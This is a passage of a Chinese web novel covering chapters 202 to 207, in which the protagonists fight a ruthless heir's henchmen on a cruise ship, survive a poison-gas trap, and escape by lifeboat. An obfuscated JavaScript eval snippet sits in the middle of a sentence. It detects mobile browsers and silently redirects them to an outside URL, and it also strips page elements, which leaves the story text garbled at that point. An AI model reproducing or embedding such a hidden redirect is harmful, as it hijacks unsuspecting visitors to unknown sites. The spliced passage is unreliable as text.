“哥哥,太棒了!你看秦绵绵那狼狈的样子!还有那个裴应见,我看他也快撑不住了!” 萧公子端起酒杯,轻轻晃动着杯中猩红的液体,冷酷的嘴角噙着一丝玩味的笑意: “别急,好戏还在后头。” 他侧头,对垂手侍立在一旁的黑衣仆从道: “让下面的人动作快点,先从姜敬意下手。” 女人闻言,眼睛更亮了,:“对!先拿姜老四这个老神棍开刀!让他算算自己的死期!” 船头甲板上,熊先生带着一队人马匆匆赶到,开始大声安抚骚乱的宾客,试图维持秩序。 “各位!各位请冷静!只是小小的意外,局面已经控制住了!请大家不要慌乱,待在原地,很快就可以回舱休息了!” 在他的指挥下,惊慌失措的人群渐渐安静下来,虽然依旧人心惶惶,但总算没有了刚才那种踩踏的危险。 秦绵绵和裴应见护着姜敬意,混在人群中,四下都是惊魂初定的客人。 然而,这份平静并未持续多久。 就在众人以为危机暂时解除时,人群中突然爆发出一声凄厉的惨叫! 一个衣着华贵的宾客,捂着脖子直挺挺地倒了下去,鲜血从他指缝间喷涌而出,瞬间染红了他身前的一片甲板。 紧接着,不远处又是一声惊呼,另一名宾客也以同样诡异的方式倒毙。 “啊——**啦!” 恐慌如同瘟疫般再次蔓延,刚刚平复下来的人群瞬间炸开,比之前更加混乱。尖叫声、哭喊声此起彼伏。 秦绵绵脸色一变。 裴应见目光锐利地扫向那两具尸体,又迅速观察着周围人群的动向,沉声道:“他们想制造更大的混乱,目标应该还是我们。” 混乱中,几道不甚起眼的黑影,正不动声色地朝着他们三人的方向挤过来。 第202章 自己做的东西 他们的动作看似慌乱,实则目标明确。 裴应见眼神一凛。 目光一凝,裴应见身形动了。 他不再试图突围,反而如一柄出鞘的利剑,径直朝着人群中几道若隐若现的黑影反扑过去。 他的动作快得只留下一道残影,每一次出手都精准无比,直取要害。 “噗!呃……” 混乱的人群中,几声短促的闷哼几乎同时响起,几名混在宾客中,正悄然逼近的黑衣人应声倒地,连反应的机会都没有。 然而,对方人数不少,且配合默契。裴应见虽厉害,一时也难以尽数清除,反而被数人缠住,陷入僵持。 就在这个时候,人群中一个衣着简单、容貌普通的男子,毫无征兆地出现在裴应见身侧,悍然出手。 他动如鬼魅,仿佛凭空挪移一般,先前还隔着数人,下一瞬已近在咫尺。 没有兵刃,只是一只看似寻常的手掌,沉沉拍向裴应见的肩井穴。 裴应见心头警铃大作,此人气息内敛至极,先前竟丝毫未察觉。 此刻一出手,掌风未至,一股阴冷锐利的劲道已压迫而来。他急忙拧身回防,短刃向上封挡。 “砰!”一声闷响。 裴应见只觉一股沛然巨力从对方掌心传来,手臂剧震,险些握不住短刃,脚下更是不由自主地连退三步才稳住身形。 此人功力之深,远超先前那些**。此刻更是看清,不是别人,正是那夜舞会上,他曾暗中评判过的萧公子身边那个深不可测的仆从。 那仆从一招得手,毫不停歇,身影如附骨之疽欺身再上,双掌翻飞,招式简朴无华,却大巧若拙,每一击都直指裴应见的要害,逼得裴应见只能全力招架,攻势完全被压制。 这仆从的武功路数怪异,沉稳中透着狠辣,裴应见越斗越是心惊,不过十余招,已然险象环生,左臂被掌风扫中,火辣辣地疼,额角也见了汗。 再这么下去,裴应见落败只是时间问题。 “当心!”秦绵绵一直留意战局,见状不妙,娇喝一声,身形一晃,从袖中疾射出三枚飞镖,成品字形射向那仆从的面门、咽喉和心口。 那仆从眼神一寒,攻向裴应见的招式略缓,手腕一抖,袍袖鼓荡,竟将三枚银针悉数卷入袖中,未伤分毫。 这刹那的停顿,给了裴应见喘息之机。 可也正是因为秦绵绵出手相救,吸引了裴应见刹那的注意力,旁边一直伺机而动的另外两名黑衣人抓住了这个转瞬即逝的空当。 他们本就不是以裴应见为首要目标,此刻见有机可乘,立刻如饿狼扑食般,绕过激战中的裴应见和那仆从,直扑向毫无反抗之力的姜敬意。 姜敬意转身就跑,然而他学了很多本事,却偏偏不会武功,更不是这些人的对手。 一人伸手如爪,精准地扣住了姜敬意的后颈,另一人则迅速从怀中摸出一块布,狠狠塞进了姜敬意刚张开的嘴里,让他后面的呼救声尽数化为呜咽。 “四叔!”秦绵绵惊呼出声,想要上前,却被那仆从一道凌厉的掌风逼退。 裴应见一刀逼退眼前的强敌,同时也想回身救援,那仆从却如影随形,攻势更加凌厉,显然是要将他死死缠住。 转眼间,姜敬意已被那两名黑衣人制住,其中一人反剪其双手,另一人则用臂弯勒住他的脖子,拖着他迅速向人群外退去。 一声低沉的轻笑从不远处传来。 轮椅碾过甲板的轻微声响在混乱中格外清晰。 萧公子带着那个神秘女人,在一众黑衣仆从的簇拥下,缓缓出现在众人面前。 他抬了抬手,那些原本与裴应见和秦绵绵缠斗的黑衣人立刻停止了攻击,如同潮水般退到了他的身后。 方才还扣着姜敬意喉咙的那个黑衣人,也松开了手,但依旧将他牢牢控制住,押到了萧公子身边。 “熊先生,这里没旁人什么事了。”萧公子看也没看甲板上惊魂未定的人群,声音不大,却带着不容置疑的威严。 熊先生立刻挥了挥手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505029|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着手下的人开始疏散甲板上的其他宾客。 很快,原本拥挤混乱的甲板变得空旷起来,只剩下秦绵绵、裴应见,以及被挟持的姜敬意,和萧公子一行人。 海风吹过,带着一丝血腥气。 萧公子饶有兴致地打量着脸色发白的姜敬意,嘴角勾起一抹残忍的笑意:“姜四先生,久仰大名。今日请你来,是想让你给舍妹表演一个节目。” 他身旁的女人闻言咯咯笑了起来:“哥哥,什么节目?快开始呀,我都等不及了!” 萧公子伸手,轻轻抚摸着姜飞飞的头发,语气温柔得令人发寒:“就叫……活人钓鲨鱼,如何?” 甲板上的温度瞬间又低了几个度。 把活人当鱼饵扔下海里去,这还真是这个残忍的京圈太子爷能干得出来的事! 而他做的这一切,竟然只是为了给他旁边的那个女人——他自称是他妹妹的女人——找点乐子罢了。 姜敬意一听,脸立刻垮了。 萧公子却好像更舒心了。 他仔细欣赏着姜敬意三人的表情。 “我这个人,就喜欢看别人绝望的样子。尤其是像姜四先生这样,平时故作风雅的人物。”他慢慢说着,突然转变话锋,语气变得残忍至极,示意手下,“把他绑结实了!扔下去,看看能不能引来几条大家伙。” 两个黑衣人立刻上前,拿出绳索就要捆绑姜敬意。 姜敬意脸色煞白,仿佛就要认命。 然而,就在绳索即将触碰到他身体的刹那,姜敬意原本瑟缩的身体猛地一挺,忽然伸脚,鞋尖看似随意地在萧公子轮椅的一个轮子上轻轻一磕。 这一下动作极快,又藏在身体的死角,旁边两个正要捆绑他的黑衣人根本没有注意到。 然而,就是这微不足道的一磕,萧公子身下的特制轮椅却发出了几声细微的机械声响,仿佛齿轮错位。 下一秒,原本平稳停着的轮椅突然不受控制地向前猛冲而去,在甲板上划出一道歪斜的弧线。 第203章 我现在是萧飞飞 萧公子脸色骤变,他尝试操控轮椅,却发现手柄完全失灵,轮椅像一匹脱缰的野马,带着他横冲直撞。 “怎么回事?!” 那两个黑衣人也被这突如其来的变故吓了一跳,捆绑姜敬意的手势顿住。 就在这电光火石之间,姜敬意动了。他身形一闪,鬼魅般地贴近失控的轮椅。 萧公子身边的人反应过来,想要上前拦截,但已经晚了。 姜敬意身手虽然不敏捷,但他对这轮椅的了解却似乎无人能及。他双手如飞,在轮椅扶手下方、座椅侧面等几个隐蔽的地方迅速拨动了几下。 轮椅猛地停了下来,发出刺耳的刹车声。巨大的惯性让萧公子措手不及,身体向前倾斜,险些从椅子上摔下来。 姜敬意抓住这个机会,一把拽住萧公子的衣领,毫不客气地将萧公子从轮椅上拽了下来,像拎小鸡一样提着,挡在了自己身前。 萧公子虽然狠戾,却改变不了他是个残疾的事实,没有人仆从的保护和轮椅的支持,他和废物没什么区别。 被姜敬意拖下来,他立刻支撑不住,狼狈地摔倒在地。 场面十分的尴尬。 姜敬意嘿嘿一笑:“自己做的东西,用着就是顺手。” 他顿了顿,看了一眼旁边被惊呆了的女人和那些黑衣人,语气轻松得仿佛在拉家常: “忘了告诉各位,这轮椅,是我亲手设计的,里面的每一个零件,每一个机关,我都熟得不能再熟了……。” 然而,萧公子的仆从反应更快,见主子狼狈倒地,立刻如疯狗般扑向姜敬意。 姜敬意刚才那一下已是急中生智,此刻哪能抵得过这样的高手。 秦绵绵和裴应见想赶过去营救,却因为离得太远,终究是慢了一拍。 但谁知姜敬意却还有后招。 只见他猛地将萧公子往前一推,借力后跃,竟是舍了萧公子,闪电般扑向了旁边那女人。 “臭丫头,看招!” 女人哪料到他会突然调转枪头,吓得急忙后退。 “飞飞!”萧公子跟着怒喝一声,不顾自己还倒在地上,猛地朝姜敬意双腿扑去。 姜敬意急忙闪躲,一声闷响,萧公子的头结结实实地撞在了船舷上,鲜血瞬间顺着他冷厉的脸颊流了下来。 饶是这样,他也没有松开抱着姜敬意双腿的手,为女人的逃跑争取了时间。 那高手仆从也到了,伸手抓向姜敬意。 而裴应见也到了,挥刀格挡,去救姜敬意。 也在同一时间,秦绵绵也跟着出手,只见她一个箭步上前,出手如电,一把便将正在逃跑的那女人脸上的面具扯了下来。 面具下的脸,虽因愤怒和惊恐而扭曲,却实在熟悉。 望着和自己预想中一样的这张脸,秦绵绵冷笑出声。 “姜飞飞。好久不见啊。” 女人不是别人,正是失踪许久的姜飞飞。 先前在客栈假扮贾芊芊的助理,撺掇贾芊芊和虞宗辰对付秦绵绵之后,她就突然销声匿迹。 而贾芊芊的突然出事,秦绵绵也一度怀疑过跟姜飞飞有关,果不其然。 有了萧公子这样的大靠山,姜飞飞想做什么,自然都是轻而易举的。 姜飞飞被扯下面具,先是一愣,但立刻被更深的怨毒取代。 她抬手抚了抚自己的脸颊,发出一阵尖锐的冷笑:“呵……姜飞飞?你错了,我现在是萧飞飞。” “至于你们,今天谁也别想走了,我会让我哥哥,把你们一个一个都杀掉,全部扔进海里喂鲨鱼!” 另一边,裴应见与那高手仆从的缠斗仍在继续。 仆从的招式大开大合,每一击都蕴含千钧之力,裴应见手中短刃翻飞,身形腾挪,一时间竟也难分高下,只是被对方的气劲震得手臂发麻。 萧公子的另外一些黑衣手下见状,奔过来想要救下萧公子,但仍旧有些距离。 萧公子额头上的血却越流越多,模样狼狈凄惨,与平日那冷厉的样子已判若两人。 而这一边,姜飞飞却顾不上看他,只一味盯着仆从尖叫: “杀了他!快给我杀了他!还有秦绵绵和姜老四,一个都别放过!” 那与裴应见缠斗的仆从闻言,眉头几不可察地一皱,回应她的却是一个掌风。 姜飞飞只觉得面上猛地一冷,一张脸瞬间就被掌风打的偏向一边。 仆从并未回头,只冷冷地甩出一句:“我的职责,只在保护公子周全。” 言下之意,姜飞飞的命令,他全然不放在心上。 姜飞飞被他这不软不硬的话噎了一下,脸涨得通红,还要再说什么,却被萧公子一个眼神制止了。 这短暂的对话,却也吸引了所有人的注意,就在这个空挡,他猛地一掌逼退裴应见,身形如电,不退反进,竟是放弃了与裴应见的缠斗,瞬间闪至萧公子身侧。 他一手抓住萧公子的手臂,将其稳稳护住,另一手则快如闪电般探出,一把便扣住了一旁姜敬意的肩胛。 姜敬意“哎哟”一声,只觉肩头一阵剧痛,整条手臂都麻了。 “四叔!”秦绵绵惊呼。 裴应见见姜敬意被擒,立刻回身来救,短刃直刺那仆从后心。 那仆从却似背后长了眼睛,头也不回,反手一掌拍出,正中裴应见急刺而来的手腕。 裴应见只觉一股大力涌来,手腕剧痛,短刃瞬间脱手。 他的身形也不由自主地晃了晃,退后两步才勉强站住。 高手过招,只在瞬息。 仆从趁此机会,已将萧公子半扶半架,同时另一只手像拎小鸡一样提着姜敬意,沉声道:“走!” 另外几个黑衣人立刻上前,护住三人,迅速向船舱内退去。 姜飞飞也顾不上再放狠话,连忙跟在萧公子身后,一行人迅速进入了船舱。 “追!”裴应见和秦绵绵并肩一起,也毫不犹豫地冲进了船舱。 两人一前一后,冲入船舱内部迷宫般的走廊。萧公子的人显然对这里的地形极为熟悉,转眼就消失在拐角。 “这边!”秦绵绵凭着直觉,拐入一条更狭窄的通道。刚冲过转角,两侧原本紧闭的杂物间门猛地被撞开,数道黑影持刀扑出,寒光直逼两人面门! 第204章 当年的秘密 “小心!”裴应见一把将秦绵绵推向旁边一个凹陷处,自己则反手挥出短刃,格挡住两把劈来的刀。 “锵!锵!”金铁交击声在狭窄空间里格外刺耳。 对方人多势众,配合默契,显然是早有埋伏。 裴应见左肩有伤,动作不可避免地受到影响,很快便落入下风,只能勉力支撑,护住秦绵绵所在的角落。 秦绵绵却注意到身侧墙壁似乎有些不对劲。 一块装饰性的木板边缘,有不自然的磨损痕迹,似乎经常被移动。 她立刻用力一推那块木板。 “吱呀——”木板向内旋转,露出一个黑漆漆的入口。 “走!”裴应见抓住机会,猛地发力逼退面前两人,拉着秦绵绵闪身钻了进去。 入口在他们身后自动合拢,将外面的喊杀声隔绝了大半。 里面一片漆黑,空间狭小,似乎是个废弃的管道间或储藏室,空气中弥漫着灰尘和一丝奇怪的霉味。 “你怎么样?”秦绵绵立刻去查看裴应见的伤口。 “不碍事。”裴应见的声音还算平稳,但秦绵绵借着门缝透进来的微光,看到他额上细密的冷汗。 她迅速查看了一下他的伤势。 他没有皮外伤,手臂却因为那仆从拼尽全力的一震,内里受伤严重。 从肩胛到手腕,竟已经全部呈现青紫色。 秦绵绵眉头紧锁,知道他这伤必须赶快医治,否则这条手臂只怕要废掉。 只是现在却毫无医治条件。 偏偏这人却还丝毫不觉,甚至还有心思伸出另一只手来,在她的头顶抚了抚: “我真的没事,别担心。” 秦绵绵啐了一口:“谁担心你了。” 就在这时,黑暗的角落里传忽然来一阵极其微弱的呼吸声,若有若无。 两人同时一僵,屏住呼吸。 裴应见将秦绵绵护在身后,警惕地望向声音来源处。 秦绵绵也握紧了手中仅剩的几枚飞镖。 难道这里还藏着敌人? 两人适应了黑暗,慢慢看清角落里似乎蜷缩着一个人影,一动不动,好像昏迷了过去。 秦绵绵靠近几步,借着微光打量那人的侧脸轮廓。 看清的瞬间,两人互相对望了一个眼神,都有点诧异。 那张苍白憔悴的脸竟然也是他们的熟人。 不是别人,正是贾芊芊事件之后,跟姜飞飞一起消失不见的,虞宗辰的经纪人,顾姐。 她怎么也会在这里? 秦绵绵和裴应见交换了一个眼神,都从对方眼中看到了几分凝重。 顾姐,虞宗辰的前经纪人,在贾芊芊事件后便与姜飞飞一同销声匿迹。 理论上,她们二人应当是同路人,至少在当时是如此。 可眼下,姜飞飞摇身一变成了萧公子身边的“萧飞飞”,风光无限,而顾姐却像一条破败的抹布般被遗弃在这阴暗的角落,奄奄一息。 这其中,必有蹊跷。 “她伤得很重。”秦绵绵蹲下身,手指迅速在顾姐颈间探了探,尚有微弱的脉搏。 她小心翼翼地解开顾姐被血污浸透的外衣,只见其身上布满了青紫的瘀伤,几处深的伤口还在渗着血,呼吸更是微弱得几乎难以察觉。 “内伤也不轻。” 秦绵绵眉头紧锁,从袖中摸出随身携带的伤药,先替她处理了外伤,简单包扎。 裴应见看着秦绵绵忙碌,又瞥了一眼顾姐毫无血色的脸,沉声道:“我来试试。” 他说着,伸出未受伤的右手,掌心贴上了顾姐的后心。 一股温和却浑厚的内力缓缓渡了过去。 秦绵绵的动作顿了顿,看了一眼裴应见,他自己左臂的伤势尚未明朗,此刻却毫不犹豫地耗费内力救人。 片刻之后,裴应见收回手,额角渗出薄汗,显然对他而言亦有消耗。 顾姐喉间发出一声低低的呻吟,眼睫颤动了几下,缓缓睁开了眼睛。 甫一恢复意识,对上秦绵绵的脸,她浑浊的瞳孔骤然一缩,脸上写满了惊恐,挣扎着想向后躲: “你……你们……别杀我……” “看清楚,是我,秦绵绵。”秦绵绵的声音冷冽,却带着一股安抚人心的力量,“你暂时安全了。” 顾姐迷茫地眨了眨眼,视线从秦绵绵脸上移到裴应见身上,又环顾了一下这狭窄黑暗的空间,终于回了神。 看到眼前的秦绵绵和裴应见两人,她亦是有点诧异。 “你们……怎么在这……” 秦绵绵不答,反问: “你这副样子,是姜飞飞做的?” 提到“姜飞飞”三个字,顾姐的身体立刻几不可察地抖了一下。 “她如今是我们的敌人。”秦绵绵继续道,“敌人的敌人,便是朋友。这个道理,顾姐在圈子里这么多年,应该比我更清楚。” 顾姐呆呆地看着她,眼神变幻不定,半晌,嘴角牵起一抹比哭还难看的笑容,干涩的笑声从喉咙里挤出来: “呵……呵呵……朋友?” 她笑着笑着,眼泪却滚落下来,“报应……这都是我的报应啊……” 那笑声凄厉,充满了自嘲与悔恨。 “到底发生了什么?姜飞飞是如何搭上萧公子的?她又为何要这样对你?当初你们不是一起离开的吗?” 顾姐喘息了几下,裴应见渡过去的那股内力让她恢复了些许气力。 她靠在冰冷的墙壁上,眼神空洞地望着虚空,开始慢慢讲述: “我在做经纪人之前,其实是个……是个人贩子……” “姜飞飞,就是我拐卖的孩子之一……” 之前的种种突然就有了答案。 贾芊芊事件的时候,顾姐为什么会突然跟姜飞飞合作,秦绵绵彻底明白了。 姜飞飞一定是早就查到顾姐就是当年拐卖自己的人,把这个把柄牢牢抓在自己手里,迫使顾姐不得不就范。 顾姐喘了一口气,又继续道: “她其实不是姜家的孩子……她是……她是京城萧家当年走失的小女儿……萧玦的亲妹妹!” 听到这句,秦绵绵和裴应见都有所动容。 萧公子,萧玦。 姜飞飞,萧飞飞。 难怪萧玦会对姜飞飞言听计从,甚至纵容她如此胡作非为。 原来是失而复得的亲妹妹。 第205章 将计就计 “当年……是我……是我在京城,拐走了她……还有另一个女孩……” 她说着,忽然抬头看了秦绵绵一眼。 秦绵绵不知怎的,心头一震。 “另一个女孩……”裴应见追问。 顾姐的神情却在此时变得有些古怪,她张了张嘴,喉咙里发出“嗬嗬”的声音,眼神直勾勾地盯着秦绵绵和裴应见身后的黑暗,原本涣散的瞳孔骤然收缩,半晌,又发出一声长长的叹息。 “不好!”秦绵绵心头一跳,一种不祥的预感油然而生。 她和裴应见猛地转身。 “咔哒——” 一声轻微的机括声响。 他们进来时那块伪装成木板的暗门,竟然无声无息地合拢了! 紧接着,是更为沉重的“哐当”一声,仿佛是铁栓落下的声音。 整个空间彻底陷入了伸手不见五指的黑暗。 “哈哈哈……哈哈哈哈!” 尖锐而得意的狂笑声从门外传来。 是姜飞飞。 “秦绵绵,裴应见,喜欢我为你们准备的这个惊喜吗?” 声音隔着厚重的门板,显得有些沉闷,却依旧充满了怨毒与快意。 “这间密室,可是我特意为你们准备的!” 秦绵绵心中一沉,迅速摸出打火机点燃。 微弱的火光下,只见这果然是一间密闭的空间,四壁光滑,没有任何窗户,只有他们进来的那扇暗门。 空气阴冷潮湿,带着一股陈腐的铁锈味。 裴应见也冷静地观察着四周,他左臂的伤势让他无法发力,但眼神依旧锐利。 “你早就知道这是个陷阱?”秦绵绵的声音冷了下来,看向角落里瑟瑟发抖的顾姐。 顾姐瘫软在地,闻言惨然一笑,眼中是化不开的绝望与认命: “我……我对不起你们……我对不起虞宗辰……” 她剧烈地咳嗽起来,嘴角溢出血沫:“姜飞飞……萧飞飞她手里有我的把柄……我不得不听她的。她答应我,只要帮她解决了你们,就给我一个痛快……” “她让我引你们来这里,然后她会启动这里的机关……这里连接着船舱的排风系统,她会从外面……往里面灌毒气……” 话音未落,密室顶部的几个不起眼的通风口,突然传来“嘶嘶”的轻响。 一股淡淡的、带着甜腻气味的无色气体,开始缓缓渗入。 裴应见脸色一变,这毒气似乎似曾相识。 似乎与他那个时代的某种毒药类似,无色无味,初期吸入会产生类似醉酒的愉悦感,但很快就会麻痹神经,使人无力反抗,最终在幻觉中窒息而亡。 “快,捂住口鼻!” 秦绵绵立刻撕下衣袖,递给裴应见一片,自己也捂住。 但这只是杯水车薪。 毒气弥漫的速度越来越快,那股甜腻的气味也愈发浓郁。 裴应见强忍着左臂的剧痛,用右手在石壁上摸索,试图找到任何可能的缝隙或机关,但石壁坚硬冰冷,浑然一体。 秦绵绵也焦急地寻找着出路,同时警惕地看着顾姐。 此刻的顾姐已经放弃了抵抗,她大口大口地呼吸着,脸上反而露出一种解脱般的诡异笑容。 “没用的……别白费力气了……”她喃喃道,“这是萧家特制的密室……当年就是用来……处理背叛者的……谁也逃不出去……” 她的眼神渐渐涣散,声音也越来越轻。 “秦小姐……裴先生,对不住了……若有来生,我再给你们……赔罪……” 顾姐的声音越来越轻,最后那句“赔罪”几乎细不可闻。 秦绵绵过去探她的鼻息,顾姐却突然又贴在她的耳边喃喃出声: “另外那个小女孩……也是京城豪门……就是……” 顾姐强撑着说完,忽然一瞪眼睛,终于头一歪,没有了声息。 而秦绵绵在听到她最后说完的这句话之后,却忍不住心神巨震。 而此刻姜飞飞还在外面看着他们,她只能强自镇定,不表露出任何异样。 她只是淡淡伸出手去,替死不瞑目的顾姐抚上了眼睛。 毒气的甜腻味道越来越浓,裴应见扶着墙壁,左臂的剧痛让他额头冷汗涔涔,呼吸也有些粗重起来。 秦绵绵也晃了晃,感觉一阵晕眩袭来,视野开始模糊。 “裴应见……”她轻唤一声,身体不由自主地向他靠去。 裴应见伸出完好的右手揽住她,自己也觉得有些站立不稳,眼前金星乱冒。 “砰!” 两人几乎同时软倒在地,发出一声闷响。 密室外,姜飞飞看着监控上两人倒地,彻底失去声息,脸上露出了狰狞而得意的笑容。 “哼,秦绵绵,裴应见,任你们奸猾似鬼,今天也得死在这里!”她咬牙切齿地低语,眼中的得意几乎要溢出来。 她等了片刻,确认里面再无声息,才对身后的手下道:“开门!” “哐当——”沉重的铁栓被拉开。 “吱呀——”伪装成木板的暗门缓缓打开。 姜飞飞迫不及待地抢先一步,探头向内望去,脸上带着病态的兴奋:“让我看看你们的惨状……” 然而,她话音未落,眼前黑影一闪。 原本应该昏迷倒地的秦绵绵和裴应见,如同两只蓄势待发的猎豹,猛然暴起! 秦绵绵身形最快,一把扣住姜飞飞的手腕,反向一拧,同时另一只手闪电般扼住了她的咽喉。 “呃!” 姜飞飞的得意笑容僵在脸上,喉咙里发出痛苦的咯咯声,双眼因窒息而暴突。 裴应见则在秦绵绵动手的同时,一脚踹向门边一个试图拔枪的黑衣人小腹,那人闷哼一声,弓着虾米倒了下去。 紧接着,他从那人腰间拔出武器,枪口冰冷地顶在了另一个黑衣人的太阳穴上。 这一切发生在电光火石之间,外面的黑衣人根本没反应过来。 “你……你们……怎么可能……”姜飞飞艰难地从喉咙里挤出几个字,眼中满是不可置信。 “你以为我们真的会中招?”秦绵绵冷笑,手上微微用力,姜飞飞的脸立刻涨成了猪肝色。 裴应见冷声道:“雕虫小技。这点毒气,还奈何不了我们。” 第206章 用计逃脱 他武功高强,闭气都算是基本功。 而秦绵绵也曾受过特殊训练,闭气的功夫也很厉害。 方才的晕眩和倒地,不过是将计就计。 “放开我!不然我哥哥不会放过你们的!” “走,去甲板。”秦绵绵不为所动,挟持着姜飞飞,一步步向外走。 裴应见则用武器逼着另一个黑衣人,紧随其后。 甲板上,海风呼啸。 萧玦坐在轮椅上,脸色阴沉地看着被秦绵绵挟持的姜飞飞,以及被裴应见用武器指着的黑衣人。 他身后,那个武功高强的仆从垂手而立,眼神锐利如鹰。 另一边,姜敬意被两个黑衣人反剪双手,押在萧玦身旁不远处,脸上倒是没有太多惊慌,反而饶有兴致地看着眼前的对峙。 “放了飞飞。”萧玦的声音冰冷,不带一丝感情。 “你先放了四叔,再让你那个最厉害的狗腿子自己跳下海去!” 秦绵绵毫不示弱,手中的力道又加重了几分,姜飞飞疼得眼泪都快出来了。 “哥哥……救我……好痛……”姜飞飞哭喊道。 萧玦眉头微蹙,看着姜飞飞痛苦的表情,眼中闪过一丝不易察觉的波动,但随即又恢复了冷酷: “你觉得,你们有资格跟我谈条件?” “有没有资格,你试试就知道了。”裴应见声音平静,但枪口却死死顶在那黑衣人的头上,不容置疑。 气氛一瞬间剑拔弩张。 仆从上前一步,周身气势陡然一变,仿佛随时都会出手。 就在这时,萧玦突然抬了抬手,制止了仆从。 他看着秦绵绵,嘴角勾起一抹残忍的弧度:“好,我答应你。” 秦绵绵和裴应见都是一怔,没想到他这么轻易就松口了。 然而,下一秒,萧玦的目光转向被押着的姜敬意,对那两个黑衣人冷酷地命令道:“把他扔下去!” 秦绵绵脸色剧变。 姜飞飞也愣住了,难以置信地看着萧玦:“哥哥?!” 那两个黑衣人没有丝毫犹豫,架起姜敬意就往船舷边拖。 “住手!”裴应见怒喝,就要上前。 但萧玦身边的仆从身形一晃,便挡在了他面前,一股无形的压力扑面而来。 “我不会水啊!救命!救命啊!”姜敬意被拖到船舷边,吓得面无人色,拼命挣扎呼救。 噗通! 一声落水巨响。 姜敬意被两个黑衣人毫不留情地扔进了波涛汹涌的大海。 “四叔!” 秦绵绵就这么眼睁睁地看着姜敬意在海水中扑腾了几下,很快便被一个浪头打得不见了踪影。 她再也顾不上挟持姜飞飞,猛地将她推向萧玦的方向,自己则一个箭步冲到船舷边,纵身一跃,跳入了冰冷的海水之中。 裴应见见状,眼神一凝,逼退眼前的仆从,也毫不犹豫地跟着跳了下去。 萧玦看着这一幕,脸上的笑容愈发森冷。 他似乎很享受这种将一切玩弄于股掌之间的感觉,即使姜飞飞被推得一个踉跄,他也只是冷眼旁观。 姜飞飞被推得撞在萧玦的轮椅上,惊魂未定,但看到秦绵绵和裴应见都跳了海,脸上立刻露出了劫后余生的狂喜和恶毒: “淹死他们!都淹死!让他们去给姜老四陪葬!” 然而,她话音未落,海面上突然传来“噗嗤”几声轻响。 只见裴应见在落水前,手腕忽然一抖,几道寒光闪过,竟是精准地割断了悬挂在船舷边的两艘救生艇的绳索。 哗啦!哗啦! 两艘救生艇接连掉入海中。 姜飞飞气得尖叫。 萧玦的脸色也沉了下来。 秦绵绵入水后,迅速找到了正在水里“挣扎”的姜敬意。 “行了,别演了。快上救生艇。” 姜敬意一抹脸上的海水,先前那副惊慌失措的样子荡然无存,反而嘿嘿一笑,动作灵活地在水里一蹬,稳稳地浮着: “嘿,丫头,你倒是没忘四叔我水性好啊。” “哼,你蝉联十三届游泳冠军的事,谁不知道。只可惜姜飞飞这个真千金,回到姜家时日太短,对四叔你是一点都不了解。” 而姜飞飞不知道的是,秦绵绵和裴应见的水性也都是一等一的好。 裴应见也很快游了过来,三人迅速朝着那两艘救生艇游去。 姜飞飞在甲板上看得目眦欲裂,她对姜家这个四叔的了解,还真是一点皮毛都没有。 她气急了,抓起旁边一个黑衣人掉落的武器,对着海面胡乱射击: “打死你们!打死你们这些混蛋!” 子弹“咻咻”地擦着水面飞过,激起一串串水花。 然而,裴应见在水中猛地一挥手臂,一股水浪被他带起,如同有了生命一般,巧妙地撞在姜飞飞持枪的手腕上。 “啊!” 姜飞飞痛呼一声,武器脱手掉落。 那些本来射向他们的子弹,自然也都偏离了方向。 三人趁此机会,顺势爬上了救生艇。 裴应见又催动内力,向着海面猛地一击,救生艇就好似忽然有了动力似的,迅速向着游轮的相反方向驶去。 “哥哥!他们跑了!快!快抓住他们!”姜飞飞气急败坏地跺脚,转向萧玦求助。 萧玦的脸色已经黑沉如水了。 老实说,这么多年来,他还从未遇到过这么难缠的对手。 自从秦绵绵和裴应见上传来,他本来每一次出手,都打算直接拿下他们的,可偏偏不管什么样的绝境,他们都能轻松躲过,甚至还能反击。 这让他这个一向说一不二的京圈太子爷,十分的恼火。 但萧玦面上,还是那副冷酷无情的模样。 他看着逐渐远去的两艘救生艇,眼中闪过一丝阴鸷,冷冷下令: “调转船头,撞沉他们!” 命令立刻得到了执行。 巨大的游轮发出一声轰鸣,开始缓缓转向,如同一头苏醒的钢铁巨兽,朝着秦绵绵他们那两艘小小的救生艇追去。 船上,惊魂甫定的姜敬意发出一声惊呼: “快呀,再快点!大船追上来了!” 巨大的游轮面前,他们这两艘救生艇就好似两只蚂蚁一样,轻松就能被碾压。 可是救生艇上根本没有划船的工具,要想赛的过大船,谈何容易! 第207章 风暴即将来临 “轰隆——” 游轮的引擎发出沉闷的咆哮,船头犁开水面,带起巨大的白色浪花,如同一只追猎的鲨鱼,朝着两艘救生艇直扑过来。 “这要是被撞上,咱们都得成肉泥!”姜敬意抱着救生艇的边缘,脸都吓白了,但声音仍是带着一丝戏谑。 秦绵绵和裴应见对视一眼,神色凝重。 “抓紧了!” 裴应见低喝一声,目光飞快地扫过海面,注意到一股侧向的水流。 眼看游轮巨大的阴影就要将他们吞噬,裴应见再次猛地扬起海水。 这次的攻击目标却不是大船,而是对面姜敬意所乘坐的那艘救生艇。 在相对力量的作用下,两艘救生艇猛地分开,向相反方向划去,而他们也借着这一次分开,成功地躲开了游轮的冲击。 更妙的是,裴应见在救生艇堪堪划过游轮侧边船舷的时候瞬间出手,再次割开了一处绳索,成功弄到了两副船桨。 他立刻将其中一副扔给秦绵绵,两人同时发力,将船桨狠狠插入水中,借着一股巧劲,他们所在的救生艇猛地向左侧一偏,瞬间远离了游轮。 游轮巨大,掉头很难,趁着这个空当,他们拼命地划。 然而在巨大的游轮面前,小小救生艇能划出去的距离始终有限。 姜敬意那边更是没有船桨,所以并未离开游轮太远。 于是在游轮停下来,开始倒退行进的时候,就立刻把矛头对准了姜敬意的救生艇。 “四叔小心!” 秦绵绵大喝一声,猛划几下,冲向姜敬意的救生艇,同时猛地把手中船桨朝姜敬意扔过去。 姜敬意接过来,立刻开始猛划。 